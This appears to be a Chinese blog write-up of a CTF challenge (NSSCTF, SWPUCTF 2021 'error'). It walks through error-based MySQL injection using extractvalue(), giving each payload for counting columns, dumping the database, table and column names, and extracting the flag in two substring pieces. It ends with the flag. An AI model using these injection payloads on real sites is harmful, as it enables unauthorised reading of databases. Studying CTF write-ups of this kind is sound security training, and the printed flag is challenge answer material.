Nssctf [SWPUCTF 2021 新生赛]error

进入之后是一个搜索框,里面叫你传一个id值,先看一看网页代码,发现一端后端数据库代码,说明是报错注入

 

 

 extractValue()报错注入

先进行字段判断,使用 " 1' group by 1# " 来判断

1' group by 1#

正常回显

 出错回显

 说明有三个字段,接着进行数据库名的爆破

1' union select 1,extractvalue(1,concat('~',(select database()))),3#

 

 发现test_db,继续进行爆表

1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3#

 

 出现test_tb,users表名,在test_tb表中继续进行爆字段名

1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'))),3#

 

 发现flag,查看字段内容

1' and 1=extractvalue(1,concat('~',(select group_concat(id,'~',flag) from test_tb)))#

 

 

 

 

 ?怎么只有一半,是因为回显不够吗,那我们自己设定一个回显个数

1' and 1=extractvalue(1,concat('~',(select substring(group_concat(id,'~',flag),31,32) from test_tb)))#

 

因为我们第一次爆出的字段内容为30个,所以我们从第31个字段继续显示

 

 

 

 两段flag进行拼接就得到flag啦

NSSCTF{781ab938-3144-4bd4-962a-a3e32558afd5}

 

posted @   karasbai  阅读(20)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示